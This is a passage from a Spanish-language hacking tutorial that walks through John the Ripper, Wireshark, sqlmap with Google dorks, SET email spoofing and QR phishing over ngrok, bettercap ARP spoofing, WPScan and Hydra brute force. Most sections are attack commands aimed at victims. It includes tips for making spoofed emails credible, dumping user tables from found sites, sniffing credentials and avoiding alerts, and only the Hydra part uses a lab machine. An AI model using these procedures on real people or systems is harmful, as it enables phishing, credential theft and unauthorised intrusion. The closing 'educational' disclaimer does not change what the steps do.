seguridad (hash).
cd /etc/
nano shadow
Combinar los dos archivos en uno:
unshadow /etc/passwd /etc/shadow > descifrar.txt
Por defecto, john trae un diccionario el cual se puede
modificar:
cd /usr/share/john/
nano password.lst
Descifrar contraseña:
john --format=sha512crypt descifrar.txt
Password User
Mostrar lista de formatos de cifrado compatibles:
john --list=formats
Recordar la contraseña crackeada:
john --show diccionario.txt
Single crack: realizar un crackeo más rápido.
john --single diccionario.txt
Incremental: prueba todas las posibles combinaciones de
caracteres para dar con la clave, considerado muy
potente.
john --incremental diccionario.txt
Sus modos: all, alpha, alnum, digits, lanman.
Ej: john --incremental=digits diccionario.txt
john -i =alpha diccionario.txt
WIRESHARK
Wireshark es un analizador de paquetes multiplataforma
muy popular entre los administradores de redes.
Funciona como un sniffer, realiza un escaneo en la red
de todo el tráfico generado en un tiempo específico,
tiene la posibilidad de capturar credenciales y
cookies.
Protocolos que lee:
- TCP
- HTTP
- SSL
- DNS
- ARP
- POP
- FTP
Seleccionamos la interfaz disponible a capturar.
Comenzará a capturar los paquetes que viajan en nuestra
red:
Separar paquete por
IP, Protocolo.
Cantidad de paquetes capturados.
Listado de paquetes capturados en
tiempo real. Estado/panel de vista del
paquete con mayor detalle.
Panel de paquetes de bytes
en hexadecimal.
Protocolo ICMP: Muestra las conversaciones (peticiones)
entre el ordenador y puerta de enlace.
ping google.com
Protocolo DNS: Ver el comportamiento/consulta.
Capturando credenciales (Protocolo HTTP):
Filtrar una IP:
ping.addr == *IP*
Obtener los GET y POST capturados:
Follow TCP Stream: Extraer toda la secuencia del
paquete completo.
Capturar paquetes TCP sobre el puerto 443:
Filtrar paquetes del protocolo Ethernet:
Dirección MAC
Filtrar por dominio o host:
Excluir protocolos de los paquetes capturados:
Ejemplo
not ssl
not dns
not http
Filtrar comunicación de correos electrónicos:
Protocolo
Mostrar el tráfico:
Filtrar el tráfico entre dos servidores:
IP 1 IP 2
Filtrar paquetes enviados por un dispositivo:
Wireshark: https://wireshark.org/
PROXYCHAINS
ProxyChains es una herramienta de código abierto que
proporciona anonimato y seguridad. Redirige las
conexiones TCP a través de proxys como SOCKS4, SOCKS5,
TOR, HTTP(S), permitiendo ocultar nuestra verdadera
dirección IP del tráfico, evadir IDS y firewalls.
Instalación y uso:
Primeramente, instalamos tor desde la terminal:
sudo apt-get install tor
Iniciar tor:
sudo service tor start
Comprobar si ha iniciado:
sudo service tor status
Seguidamente, modificamos el archivo de proxychains:
sudo nano /etc/proxychains.conf
Realizar los siguientes cambios:
- Desmarcar (#) la línea dynamic_chain
- Comentar (#) la línea strict_chain
- Agregar al final socks5 127.0.0.1 9050
CTRL + O para guardar. CTRL + X para salir.
Ejecutar proxychains:
proxychains *herramienta*
Ej: proxychains firefox
SQLMAP
SQLMap es una herramienta automática para realizar
pruebas de penetración (SQL Injection) en base de
datos.
SQL Injection:
Es uno de los ataques más utilizados contra base
de datos, el ataque tiene como objetivo recopilar
información sensible, como usuarios, contraseñas,
correos electrónicos, códigos de verificación,
números de tarjetas de crédito y demás.
Dorks:
Es una técnica utilizada en el campo hacking
para la búsqueda avanzada de Google. Suele
usarse para la obtención de información,
mejores resultados de búsqueda, encontrar
cámaras de seguridad, documentos, inyección
SQL y XSS.
Lista de Dorks:
details.php?prodId=
product/product.php?product_no=
book.php?ID=
print.php?id=
allinurl: /news.php?id=
content.php?PID=
view_items.php?id=
main.php?id=
product_details.php?prodid=
products.php?p=
news.php?id=
abroad/page.php?cid=
inurl:pages.php?id=
inurl:product.php?id=
item.php?eid=
Lista completa: https://github.com/R3LI4NT/dorks-sql-injection
Comandos básicos:
-u URL víctima.
-p Parámetro de la URL.
--dbs Muestra las bases de datos.
-D Especificar base de datos a explotar.
-T Especificar la tabla.
--tables Muestra todas las tablas de la base de datos especificada.
--columns Muestra las columnas de la tabla seleccionada.
--dump Vuelca toda la información de la tabla.
Lanzar el ataque para afirmar si el sitio es
vulnerable:
sqlmap -u *URL*
Ej: sqlmap -u http://www.site-web.com/article.php?id=55
El parámetro “cat” es vulnerable a inyección SQL, incluso a una
carga de un Payload.
Listar las bases de datos:
sqlmap -u *URL* --dbs
Escanear las tablas de la base de datos que elijamos:
sqlmap -u *URL* -D acuart --tables
Escanear columnas de la tabla “users”:
sqlmap -u *URL* -D acuart -T users --columns
Extraer el contenido de la columna:
sqlmap -u *URL* -D acuart -T users -C email,pass,name --dump
Web de ejemplo: http://testphp.vulnweb.com/listproducts.php?cat=1
SETOOLKIT
Setoolkit (Social Engineer Toolkit) mas conocido como
SET, es un conjunto de herramientas especializadas en
realizar ataques de ingeniería social, esta programado
en Python.
Permite suplantar fácilmente la identidad de un sitio
web, enviar ataques masivos por mail a cuentas de
correos electrónicos de una compañía o a un usuario en
específico, también incorpora ataques con el framework
de Metasploit para pentesting.
Ejecutar SET con “setoolkit” en la
terminal.
La opción 1 corresponde a los ataques de ingeniería
social nombrados anteriormente, la opción 2 contiene
vectores de ataques con una serie de exploits y
automatización para pruebas de penetración.
EMAIL SPOOFING
La suplantación de correo electrónico es una técnica
utilizada en ataques de spam y phishing para engañar a
los usuarios haciéndoles pensar que un mensaje proviene
de una persona o empresa en cual pueden confiar. El
atacante falsifica los encabezados de correo
electrónico para que el software del cliente muestre la
dirección del remitente fraudulenta, así que harán clic
en enlaces maliciosos, abrirán archivos adjuntos de
malware, incluso enviarán datos confidenciales.
Creando un Email Spoofing
Iniciamos el SET y seleccionamos la opción 1:
Seguidamente, escogemos la opción 5:
La opción 1 permite enviar el correo electrónico a un
solo usuario, mientras la 2 a varias direcciones:
Añadimos el email de la víctima:
Tenemos la posibilidad de mandar el email desde un
correo falso creado por nosotros o utilizar nuestro
propio servidor SMTP. Sugiero hacerlo desde un SMTP,
por la única razón que pueden sustituir la dirección de
correo por cualquier otro. Por ejemplo, soporte@facebok,
lo importante es que se vea creíble.
En mi caso lo haré con un correo falso creado por mi,
por lo cual nos pedirá nuestro email:
Normal
Server SMTP
En FROM NAME agregamos un nombre a la dirección, luego
introducimos la contraseña de nuestro email:
Es importante marcar el mensaje como “flag”, esto
simula que es de alta prioridad, después hecho lo
anterior, si deseamos agregar un archivo en particular
(imagen, video) debemos insertar la ruta donde se
encuentra. Por último, ofrece adjuntar un archivo en
línea, cuando haga clic se traslade a un servidor, por
ejemplo, de exploits:
Añadimos el asunto del email. El mensaje puede ser
enviado en código HTML o texto plano, el HTML es
sospechoso así que no lo recomiendo en este caso. Para
finalizar, introducimos el cuerpo del mensaje, con
ENTER damos saltos de línea, al terminar agregamos
“END”:
Correo enviado con éxito:
El lado de la víctima:
El lado del atacante:
Datos a tener en cuenta
• No se olviden de cambiar la foto de perfil.
• Revisar la ortografía.
• Adjuntar imágenes en caso de ser necesario y creíble.
• Recabar información sensible de la persona, empresa u
organización para asegurar confianza.
QR CODE ATTACK (Phishing)
En la actualidad los códigos QR están en todas partes,
en productos, colegios, en los anuncios de la calle, el
objetivo de estos códigos es ser utilizado con fines de
marketing o para obtener más información acerca de un
servicio o producto. Sin embargo, el uso amplio de
códigos QR puede ser una ventaja para los
ciberdelincuentes y los probadores de penetración
ética. Los ciberdelincuentes aprovechan esta técnica
para atacar usuarios desinformados, con el propósito de
robar sus credenciales, mientras que en pentesting
pueden incluir este tipo de ataques en sus compromisos
de ingeniería social.
Creando un código QR malicioso
Iniciamos el SET y seleccionamos la opción 1:
Luego, la opción 2:
Continuamos con la opción 3:
Permite escoger una plantilla web personalizada o
añadir la nuestra. A modo de ejemplo, optaré por una ya
creada:
Seguidamente, insertamos nuestra IP local:
Seleccionamos la web a suplantar:
Importante no cerrar esta terminal
Por último, abrimos una nueva terminal y ejecutamos
nuevamente el SET (opción 1):
Esta vez vamos a generar el código QR, por ello,
elegimos la opción 8:
Ingresamos la URL donde irá el código QR, pondré la IP
local + el puerto 80:
Código QR generado:
Mover el código al escritorio:
cp /root/.set/reports/qrcode_attack.png /ruta/ruta
Quedaría de la siguiente manera:
Lo escaneamos con nuestro teléfono:
Cuando la víctima ingrese los
datos nos llegará a la primera
terminal:
Conclusión
Mucha gente escanea un código QR desconocido con sus
teléfonos móviles personales solo porque quieren saber
más. En muchos casos, los usuarios malintencionados están
utilizando este ataque para enviar malware y robar
credenciales a los usuarios desprevenidos.
Si no estás seguro de escanear el código QR le aconsejo de
no hacerlo, de lo contrario, tome las mejores precauciones
posibles.
Fuera de la red LAN
El ataque anterior solo funciona dentro de la misma
red, lo cuál no es conveniente si se quiere hacer a
distancia. Haremos uso de ngrok.
¿Qué es NGROK?
Ngrok es un servicio que le permite convertir su servidor local en
un servidor accesible a un subdominio generado aleatoriamente, y así
poder visualizarlo desde cualquier dispositivo en cualquier parte
del mundo.
Descarga e instalación de NGROK
Es obligatorio crearse una cuenta antes de la descarga:
Web oficial: https://ngrok.com
Copiamos el authtoken:
Abrimos una nueva terminal, descomprimimos el zip y
copiamos el athtoken:
En una nueva terminal ejecutamos ngrok con el servicio
http y el puerto 80:
./ngrok http 80
No cerrar esta terminal
Sigan los pasos anteriores, solo que ahora deben
reemplazar la IP local por la dirección de ngrok:
Mismo resultado
NETDISCOVER
Netdiscover es una herramienta para sondear la red
inalámbrica, identificar a todos los dispositivos
conectados y recopilar información del mismo. Detecta
pasivamente hosts en línea o buscarlos enviando
solicitudes ARP. Además, se puede colocar en modo
“sniffer” para inspeccionar el tráfico ARP de la red.
Protocolo ARP
El protocolo ARP sirve para mapear direcciones IP/MAC, es decir
que permite desde un dispositivo conectado a la red LAN obtener
información de otro dispositivo conectado a la misma red. Una
solicitud ARP es un broadcast (paquete de datos) que se
transmite a todos los dispositivos de la LAN. La solicitud ARP
contiene la dirección IP del host destino y la dirección MAC
del broadcast, los nodos de la LAN reciben y examinan la
información, el nodo cuya IP coincide con la IP de la solicitud
responde, esta respuesta se utiliza para crear una nueva
entrada en la tabla ARP del nodo de envío, de manera que se
muestran las direcciones organizadas de cada dispositivo según
su IP y MAC.
Poniendo a prueba NetDiscover
Identificar interfaces:
ifconfig -a
Capturar dispositivos conectados a nuestra red:
netdiscover -i wlan0 -r 192.168.1.1/24
Interfaz de red Escaneo para un rango de IP
Escanear una lista de rangos de un documento:
netdiscover -i wlan0 -l /dic1/dic2/archivo/
COMANDOS DE USO
-i: Interfaz de red.
-r: Escanea un rango de IP.
-l: Escanea una lista de rangos contenidos en un archivo.
-p: Modo pasivo, solo olfatea “sniffing”.
-m: Escanea una lista de nombres hosts y MAC conocidos.
-F: Personalizar la expresión del filtro.
-s: Definir el tiempo de cada solicitud ARP.
-c: Número de veces para enviar cada solicitud ARP.
-n: Último octeto de IP de origen utilizado para escanear.
-d: Ignorar archivos de configuración de inicio para un escaneo
automático y rápido.
-f: Habilitar el modo rápido, ahorra tiempo.
-P: Imprimir los resultados en un formato específico para ser leído en
otro programa.
-L: Similar a “-P” pero continúe escuchando después de que se complete
el escaneo activo.
-N: No imprima el encabezado, solo válido cuando –P o –L está
habilitado.
-S: Habilitar la supresión del tiempo de reposo entre cada solicitud
(modo hardcore).
ANONSURF
Anonsurf es una herramienta popular creada únicamente
para la distribución Parrot OS. Cuenta con un
repositorio especial para Kali Linux, utiliza la red
TOR para ocultar la dirección IP real y añade una capa
de cifrado en nuestro tráfico de red.
Instalación y uso:
Clonar el repositorio de github:
git clone https://github.com/Und3rf10w/kali-anonsurf
Luego nos situamos en dicho repositorio:
cd kali-anonsurf
Y proseguimos con su instalación:
./installer.sh o bash installer.sh
Para usar anonsurf se puede utilizar los siguientes
comandos:
anonsurf start Iniciar la herramienta.
Al momento de comprobar nuestra IP en un IPLocator
online saldrá lo siguiente:
Detener anonsurf:
anonsurf stop
Cambiar de dirección IP:
anonsurf change
Ver IP actual
Comprobar si anonsurf está funcionando correctamente:
anonsurf status
Acerca de otras opciones:
TORGHOST
TorGhost es un script de anonimización, redirige todo
el tráfico de Internet a través del proxy SOCKS5 tor.
Las solicitudes de DNS también se redirigen a través de
tor, evitando así DNSLeak. Deshabilita los paquetes
inseguros que salen del sistema, algunos paquetes como
la solicitud de ping pueden comprometer la identidad, y
por ende, este script se encarga automáticamente de no
filtrar ningún ping.
La filtración DNS puede resultar relativamente grave ya
que las fugas permite que nuestro proveedor de internet
(ISP) pueda rastrear nuestros datos de navegación como
que páginas visitamos, nuestra ubicación mediante la
IP, entre otras.
Instalación y uso:
TorGhost es caracterizado por ser un script fácil de
instalar. Primeramente, clonamos el repositorio con el
siguiente comando:
git clone https://github.com/SusmithKrishnan/torghost
Entramos en el directorio y le concedemos permisos:
cd torghost && chmod +x build.sh
Seguidamente, continuamos con su instalación:
./build.sh
bash build.sh En caso de que el primero no funcione
Volvemos a darle permisos pero esta vez al archivo
python:
chmod +x torghost.py
Por último, ejecutamos el script:
python3 torghost.py
-s Iniciar Torghost
-r Solicitar un nuevo nodo de salida
-x Detener Torghost
-h Buscar ayuda
-u Buscar actualizaciones
Poner en marcha torghost:
python3 torghost.py -s
Verificamos nuestra IP:
curl ifconfig.me
Cambiar a otra dirección IP:
python3 torghost.py -r
Detener Torghost y reestablecer la IP:
python3 torghost.py -x
MACCHANGER
Macchanger es una herramienta que como su nombre lo
indica, sirve para cambiar/manipular direcciones MAC de
cada interfaz de red.
Instalación y uso:
Está herramienta viene preinstalada en Kali Linux y
soporta otras distribuciones, pero si deseamos
instalarla solo hace falta ejecutar el siguiente
comando en la terminal:
sudo apt-get install macchanger
Para conocer nuestra interfaz de red es necesario abrir
la terminal e introducir:
iwconfig
Lo siguiente es conocer nuestra MAC original:
macchganger -s wlan0
Imprimir la dirección MAC Interfaz
Antes de cambiar la dirección MAC de un dispositivo es
necesario desactivar la interfaz de red:
sudo ifconfig wlan0 down
Luego de reconocer nuestra MAC e interfaz solo queda
por cambiar la MAC por una falsa:
macchanger -m 00:01:02:03:04:05 wlan0
Si quisiéramos cambiarla por una dirección aleatoria:
macchanger wlan0 -r
Por último, solo quedaría activar nuevamente la
interfaz de red:
sudo ifconfig wlan0 up
Si volvemos a chequear nuestra dirección MAC:
Restablecer la dirección MAC a la original:
macchanger -p wlan0
ANGRY IP SCANNER
Angry IP Scanner es una herramienta para escanear las
direcciones IP y puertos de los dispositivos que están
conectados al router, debo añadir que es de código
abierto.
Instalación y uso:
Es muy fácil de instalarlo, lo primero es ir a su web
oficial y descargar el paquete DEB correspondiente.
Descargar: https://angryip.org/download/#linux
Abrimos la terminal y en el directorio donde se
descargo el paquete lo instalamos con el gestor dpkg:
dpkg -i ipscan_3.7.6_amd64.deb
Ahora debemos de buscarlo en el apartado de
aplicaciones:
Por último, le damos al botón “Comenzar” y esperamos a
que realice el escaneo:
Rango IP de inicio y
finalización
= Host activo
= Host inactivo
Angry ofrece múltiples opciones, entre ellas
Geolocalizador IP, Ping, Whois, Navegador Web (login),
FTP, Telnet, Trace route, SSH.
KISMET
Kismet es un programa de Linux que permite detectar y
rastrear intrusiones en una red de wifi inalámbrica
(WLANs) mediante tarjetas wireless estándar 802.11ª,
802.11g y 802.11b. Esta herramienta también es
utilizada para Wardriving, es decir, una técnica que
consiste en buscar redes inalámbricas Wi-Fi (APs) que
están a nuestro alrededor desde un vehículo. Kismet
funciona con la tarjeta en modo monitor y los paquetes
capturados son guardados en un archivo de salida.
Instalación y uso:
Para instalar kismet ejecutar el siguiente comando:
sudo apt-get install kismet
Iniciamos la herramienta y le indicamos la tarjeta que
vamos a utilizar:
kismet_server -c wlan0
Fuente a capturar Interfaz
Está siendo ejecutado en modo
servidor, por lo tanto nos devuelve
una dirección http para administrar
las redes y ver la información de
forma más ordenada.
http://localhost:2501
Luego de conectarnos a nuestro localhost nos saldrá la
siguiente ventana donde muestra las redes Wi-Fi y los
dispositivos cercanos:
Si es la primera vez que ejecutan kismet les
pedirá que ingresen un usuario y contraseña.
Con clic izquierdo obtenemos información de un
dispositivo o red en específico:
Las “Data Sources” capturan información por la interfaz
indicada, y la opción “Hop” es salto de canal en canal
cada 5 segundos.
Los filtros o registros permite situarse
en un determinado dispositivo o punto de
acceso:
Al hacer clic izquierdo en una red de wifi, las
direcciones MACs están asociadas a un dispositivo
conectado (cliente), de este modo, conseguimos
identificarlo:
BETTERCAP
Bettercap es la nueva versión mejorada de Ettercap, es
capaz de realizar varios tipos de ataques MITM contra
una red IPv4 y IPv6, manipular el tráfico HTTP, HTTPS y
TCP en tiempo real. También es capaz de realizar
ataques de desautenticación, Bluetooth Low Energy,
PMKID y obtener el handshake de clientes que usan
protocolo WPA y WPA2. Cabe destacar que Bettercap
incorpora un sniffer capaz de conseguir credenciales de
usuario de forma rápida y fácil.
Instalación y uso:
Ejecutar los siguientes comandos en forma ordenada:
1- sudo apt-get install build-essential ruby-dev libpcap-dev
2- apt-get update
3- apt-get install bettercap
Iniciar bettercap según la interfaz de red:
bettercap -iface wlan0
El menú de ayuda mostrará todos los módulos disponibles
y cuales están en ejecución:
help
Empezaremos por lo más sencillo, un monitoreo de
conexión en dónde revelaremos todos los dispositivos
que se encuentren conectados a nuestra red y que
páginas visita.
Módulo NET.PROBE Al activarlo, envía diferentes tipos de
solicitudes de sonda a cada IP en la subred
para que el módulo net.recon los detecte.
net.probe on
Dispositivos
conectados.
Total: 4 sin
el router.
Módulo TICKER Mostrar información de los dispositivos
detectados de forma ordenada.
ticker on
Módulo ARP.SPOOF Falsifica hosts seleccionados en la red
utilizando paquetes ARP diseñados para
realizar un ataque MITM.
set arp.spoof.targets *IP local*
IP del objetivo
Activamos el módulo mencionado anteriormente:
arp.spoof on
Módulo NET.SNIFF Rastreador de paquetes de red, es capaz de
analizar varios protocolos importantes para
recolectar credenciales.
El modo “verbose” se desactiva para no
set net.sniff.verbose false generar alertas, ya que solo queremos
capturar paquetes que genere nuestra máquina
víctima.
Para analizar e imprimir paquetes generados
set net.sniff.local true por la máquina, tenemos que definir el valor
como verdadero.
Comenzar analizar el tráfico de red:
net.sniff on
Páginas que visita la víctima
Capturar credenciales (Sniffing)
Este ataque, realizado anteriormente con Ettercap,
consiste en colocarse en medio de la transmisión de
datos entre dos máquinas que conforman la red. El
objetivo principal del espionaje es capturar
credenciales que corren por la red. En la actualidad
aún existen páginas con el protocolo HTTP, y algunas de
ellas pertenecen al gobierno.
Poniendo en práctica lo aprendido, activamos los
siguientes módulos ya mencionados:
1- bettercap -iface wlan0 2- net.probe on
Módulo NET.SHOW Este módulo lee y reconoce la tabla ARP del
sistema para detectar nuevos hosts en la
red.
3- net.show
Parámetro ARP.SPOOF.FULLDUPLEX
Si es verdadero, los objetivos y la puerta
de enlace serán atacados; de ser falso,
solo el objetivo. Si el enrutador tiene
protecciones de suplantación de identidad
ARP, hará que el ataque falle.
4- set arp.spoof.fullduplex true
Lo siguiente será establecer la IP del objetivo:
5- set arp.spoof.targets *IP*
Iniciar el ARP spoofer:
6- arp.spoof on
Parámetro NET.SNIFF.LOCAL
Si es verdadero, considerará los paquetes
desde/hacia esta computadora, de lo
contrario, los omitirá. Esto significa que
todos los datos se están transfiriendo
desde nuestra computadora u otra.
7- set net.sniff.local true
Por último, encender el olfateo y capturar los
paquetes:
8- net.sniff on
Una vez que la víctima introduzca los datos,
inmediatamente nos llegará a la terminal.
WPSCAN
WPScan es una importante herramienta que los
profesionales de la seguridad y desarrolladores de
sitios webs pueden usar para escanear sitios de
WordPress en busca de vulnerabilidades y mejorar su
seguridad contra terceros malintencionados.
Está herramienta es capaz de encontrar usuarios y
contraseñas débiles, problemas en la configuración de
seguridad, plugins y temas utilizados. Cabe destacar
que incluye un parámetro de fuerza bruta.
Uso de WPScan:
Al igual que la gran mayoría de herramientas dispone de
un comando de ayuda, el siguiente:
wpscan --h
Actualizar la base de
datos con las últimas
vulnerabilidades:
wpscan --update
Completada la actualización vamos a realizar un escaneo
simple para chequear como funciona esta herramienta,
para ello he utilizado dorks para facilitar la búsqueda
de páginas vulnerables.
Página de dorks: https://www.exploit-db.com/google-hacking-database
Se actualiza constantemente
Escaneo básico
El escaneo básico es el modo más simple en que podemos
revisar el sitio WordPress, se le considera no
intrusivo:
wpscan --url www.example.com
En el apartado de “Headers” es para descubrir
información acerca del servidor:
Los archivos robots.txt indican si determinados agentes
de usuarios pueden o no rastrear partes de un sitio
web. El registro de agente de usuario define el inicio
de un grupo de directivas.
XML-RPC permite la comunicación y transmisión de
WordPress con otros sitios webs y aplicaciones remotas,
de manera de poder intercambiar datos y agregar nuevas
funciones. Con el tiempo xmlrpc.php se ha vuelto una
amenaza de seguridad, y por ende, se recomienda
deshabilitarlo. El hecho de estar activado implica que
los crackers puedan obtener acceso a tu sitio mediante
fuerza bruta con tan solo creando combinaciones de
usuarios y contraseñas.
La segunda debilidad que aprovechaban estos usuarios
malintencionados era utilizar la función de pingbacks
para mandar miles de solicitudes a un sitio, provocando
un ataque DDoS.
¡VULNERABILIDAD GRAVE!
Mantener el registro de usuario de WordPress habilitado
permite que cualquier usuario tenga autorización a una
cuenta en tu WordPress, de tal manera que puede enviar
spam o peor aún, un defacing.
En WordPress las actualizaciones son sumamente
importantes debido a que si tenemos algo desactualizado
puede provocar que nuestro sitio web tenga
vulnerabilidades o errores.
Con saber la versión es suficiente para encontrar resultados en Google de
posibles agujeros de seguridad.
La opción enumerate nos permite inspeccionar los
plugins, temas y cuentas de usuarios en la aplicación
web, informando de posibles vulnerabilidades y
versiones actuales:
wpscan --url www.example.com --enumerate
Este parámetro suele ir acompañado de opciones que se
encargan de mostrar ciertos plugins o temas:
p: muestra un listado de todos los plugins instalados.
wpscan --url www.example.com --enumerate p
vp: muestra solamente los plugins vulnerables.
wpscan --url www.example.com --enumerate vp
ap: descubre todos los plugins disponibles, envía un
número considerable de peticiones al servidor web.
wpscan --url www.example.com --enumerate ap
t: muestra el listado de temas instalados.
wpscan --url www.example.com --enumerate t
at: descubre todos los temas disponibles y también
envía un número considerable de peticiones hacía el
servidor web.
wpscan --url www.example.com --enumerate at
vt: muestra solamente los temas vulnerables.
wpscan --url www.example.com --enumerate vt
tt: detectar la presencia de scripts de TimThumb, una
vulnerabilidad de tipo zero day que presentó graves
problemas.
wpscan --url www.example.com --enumerate tt
u: enumera las diez primeras cuentas de usuario que
mantengan un id entre 1 y 10.
wpscan --url www.example.com --enumerate u
Ej: wpscan --url www.example.com --enumerate u[1-10]
Inicio Fin
--force: obligamos a WPScan que pase por alto la
ejecución remota del sitio WordPress.
wpscan --url www.example.com --force
--follow-redirection: en el caso de que el sitio tiene
una redirección, se seguirá sin preguntar.
wpscan --url www.example.com --follow-redirection
Ataque de fuerza bruta
--passwords: lista de archivos de contraseñas para usar
durante el ataque de contraseña.
--usernames: especificar uno o más nombres de usuarios.
Ej: wpscan --url www.example.com --passwords wordlist.txt --usernames admin
Diccionario Usuario
--enumerate -u
El ataque de fuerza bruta consiste en probar todas las
combinaciones posibles que se encuentran en un
diccionario hasta hallar con aquella que permita el
acceso, la duración dependerá de la longitud y
caracteres de la contraseña.
THC HYDRA
Hydra es una poderosa herramienta que se utiliza para
crackear sistemas de login de diferentes protocolos:
HTTP, HTTPS, TELNET, FTP, HTTP-PROXY, SMB, SMBNT, CVS,
MS-SQL, entre otros muchos más.
Su funcionamiento se basa en el uso de diccionarios
donde podremos almacenar todas aquellas posibles
contraseñas, de tal modo que permite a los
investigadores la posibilidad de mostrar que tan
fácilmente se puede obtener acceso no autorizado hacia
un sistema.
Uso de Hydra:
Hydra se ejecuta desde la línea de comandos y como toda
herramienta también incluye la opción de ayuda:
hydra -h
PARÁMETROS:
• l- es el nombre de usuario.
• L- con la mayúscula podemos poner un diccionario con
usuarios.
• p- es la contraseña del usuario.
• P- con la mayúscula podemos agregar un diccionario con
contraseñas.
• v- es el verbose mode que imprime en pantalla los
intentos de usuarios-contraseñas.
• V- muestra más detalles del proceso de crackeo.
• R- restaura la sesión anterior en el caso de ser
abortada.
• S- se conecta por SSL.
• s- se utiliza para especificar un puerto, Hydra por
defecto agrega los puerto predeterminados.
• C- esta opción específica un diccionario combo, es
decir, un diccionario que tenga usuarios y contraseñas
(eliminando l- y p-).
• o- es el documento de salida que nos ira dejando luego
de sacar las contraseñas y usuarios.
Ej: o- user_pass.txt
• f- se cierra Hydra luego de encontrar la primera
contraseña.
• W- especificar el tiempo máximo que queramos que este
crackeando.
Ej: W- 55555
• t- permite cambiar la cantidad de contraseñas que se
crackean en paralelo (por defecto son 16), solo si
tienes un ordenador potente.
• b- especificar el formato de salida para –o (json,
jsonv1).
• y- deshabilita el uso de símbolos en fuerza bruta.
• M- lista de servidores a atacar.
Cracking MetaSploitable
Metasploitable es una máquina virtual preconfigurada
que cuenta con una serie de vulnerabilidades
desafiantes para permitirnos poner a prueba nuestras
técnicas de hacking utilizando exploits, por ejemplo,
metasploit.
Descargar: https://sourceforge.net/projects/metasploitable/files/
Clic derecho y abrir con
VMware.
Por predeterminado metasploitable mantiene una sesión
en la consola con el usuario msfadmin y contraseña
msfadmin:
Descifrar user y pass:
Antes de comenzar el ataque es preciso conocer el
objetivo, en este caso, los puertos abiertos.
Haremos uso de nmap para descubrir los puertos y
servicios que corren en él:
nmap -sV -p- 192.168.58.131
Escanear todos los puertos IP de la máquina Metasploitable
Objetivo : puerto 22 > servicio SSH
Finalmente, aplicaremos hydra para descifrar la
contraseña:
hydra -L wordlist.txt -p msfadmin *service://IP*
Si quisiéramos hacerlo con nmap, sería tan simple como
usar el script ssh-brute:
nmap --script ssh-brute --script-args userdb=usernames.txt *IP*
Diccionario con posibles
usuarios autorizados
SCRIPT SSH-BRUTE Realiza adivinanzas de contraseña por
fuerza bruta contra servidores ssh.
En cuyo caso de que se trate del servicio FTP,
simplemente se reemplaza el puerto 22 por el 21:
nmap -sV -p 21 192.168.58.131
Objetivo : puerto 21 > servicio FTP
Ejecutaremos hydra con los siguientes parámetros:
hydra -L users.txt -P pass.txt *ftp://IP* -o credenciales.txt
Diccionario con usuarios Diccionario con contraseñas
Documento de salida donde
se guarda los usuarios y
contraseñas encontradas
ADVERTENCIA
El autor no se hace responsable por el mal uso
que se le pueda dar a esta información, todo está
hecho con fines educativos. El acceder a sistemas
ajenos, información sensible, hackeo de redes
sociales, entre otras técnicas, puede llegar a
ocasionar cargos penales.
Última edición: 24/9/2021